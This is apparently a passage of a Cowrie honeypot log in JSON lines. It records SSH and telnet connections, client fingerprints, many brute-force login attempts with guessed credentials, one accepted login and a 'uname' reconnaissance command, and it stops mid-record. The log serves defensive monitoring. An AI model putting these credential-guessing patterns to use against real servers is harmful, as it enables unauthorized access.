{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:47.376608Z","src_ip":"45.153.34.195","session":"588af5386029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:47.758276Z","src_ip":"45.153.34.195","session":"588af5386029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:47.822964Z","src_ip":"45.153.34.195","session":"9828910bd7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.6","message":"Connection lost after 22.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:49.176294Z","src_ip":"91.92.40.36","session":"c3abdc6de0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password12345678","message":"login attempt [ubuntu/password12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:49.719707Z","src_ip":"91.92.40.36","session":"83d25f0e8dbf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:49.758180Z","src_ip":"91.92.40.36","session":"418141485f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:49.761030Z","src_ip":"91.92.40.36","session":"418141485f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30124,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd72ee929827","protocol":"ssh","message":"New connection: 45.153.34.195:30124 (10.17.0.5:22) [session: cd72ee929827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:51.314699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:51.317933Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:51.407129Z","src_ip":"45.153.34.195","session":"588af5386029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:51.982156Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27420,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d009dc651b1","protocol":"ssh","message":"New connection: 91.92.40.36:27420 (159.203.135.109:22) [session: 4d009dc651b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.451260Z"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.490261Z","src_ip":"45.153.34.195","session":"588af5386029","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.510419Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.712740Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.715364Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.797983Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:52.801133Z","src_ip":"45.153.34.195","session":"cd72ee929827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13020,"dst_ip":"10.17.0.5","dst_port":22,"session":"008983e5ddef","protocol":"ssh","message":"New connection: 45.153.34.195:13020 (10.17.0.5:22) [session: 008983e5ddef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:53.121461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:53.133686Z","src_ip":"45.153.34.195","session":"008983e5ddef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:53.332922Z","src_ip":"45.153.34.195","session":"008983e5ddef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:53.714844Z","src_ip":"45.153.34.195","session":"008983e5ddef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.2","message":"Connection lost after 22.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:54.359691Z","src_ip":"91.92.40.36","session":"83d25f0e8dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.30","src_port":62416,"dst_ip":"159.203.135.109","dst_port":23,"session":"4efeb560a905","protocol":"telnet","message":"New connection: 205.210.31.30:62416 (159.203.135.109:23) [session: 4efeb560a905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:54.554774Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:54.798415Z","src_ip":"45.153.34.195","session":"008983e5ddef","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:55.987361Z","src_ip":"91.92.40.36","session":"4d009dc651b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:55.990008Z","src_ip":"91.92.40.36","session":"4d009dc651b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13032,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcba27b78df6","protocol":"ssh","message":"New connection: 45.153.34.195:13032 (10.17.0.5:22) [session: dcba27b78df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.168411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.173191Z","src_ip":"45.153.34.195","session":"dcba27b78df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.252179Z","src_ip":"45.153.34.195","session":"dcba27b78df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"wasd","message":"login attempt [ftptest/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.367184Z","src_ip":"91.92.40.36","session":"9087e0102f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.790247Z","src_ip":"45.153.34.195","session":"dcba27b78df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"321","message":"login attempt [odoo/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:56.845282Z","src_ip":"91.92.40.36","session":"0600bd4ccdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:57.873454Z","src_ip":"45.153.34.195","session":"dcba27b78df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13040,"dst_ip":"10.17.0.5","dst_port":22,"session":"501819c066e0","protocol":"ssh","message":"New connection: 45.153.34.195:13040 (10.17.0.5:22) [session: 501819c066e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:59.053088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:59.057475Z","src_ip":"45.153.34.195","session":"501819c066e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:59.150387Z","src_ip":"45.153.34.195","session":"501819c066e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:59.734277Z","src_ip":"45.153.34.195","session":"501819c066e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:00.823016Z","src_ip":"45.153.34.195","session":"501819c066e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.6","message":"Connection lost after 23.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:01.239296Z","src_ip":"91.92.40.36","session":"9087e0102f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"80.4","message":"Connection lost after 80.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:01.266988Z","src_ip":"38.46.222.137","session":"004e8683fa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.5","message":"Connection lost after 19.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:01.389631Z","src_ip":"91.92.40.36","session":"0600bd4ccdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a852c12302b","protocol":"ssh","message":"New connection: 91.92.40.36:18682 (159.203.135.109:22) [session: 7a852c12302b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:01.479620Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13050,"dst_ip":"10.17.0.5","dst_port":22,"session":"c65c23cde4cd","protocol":"ssh","message":"New connection: 45.153.34.195:13050 (10.17.0.5:22) [session: c65c23cde4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:02.042990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:02.047200Z","src_ip":"45.153.34.195","session":"c65c23cde4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes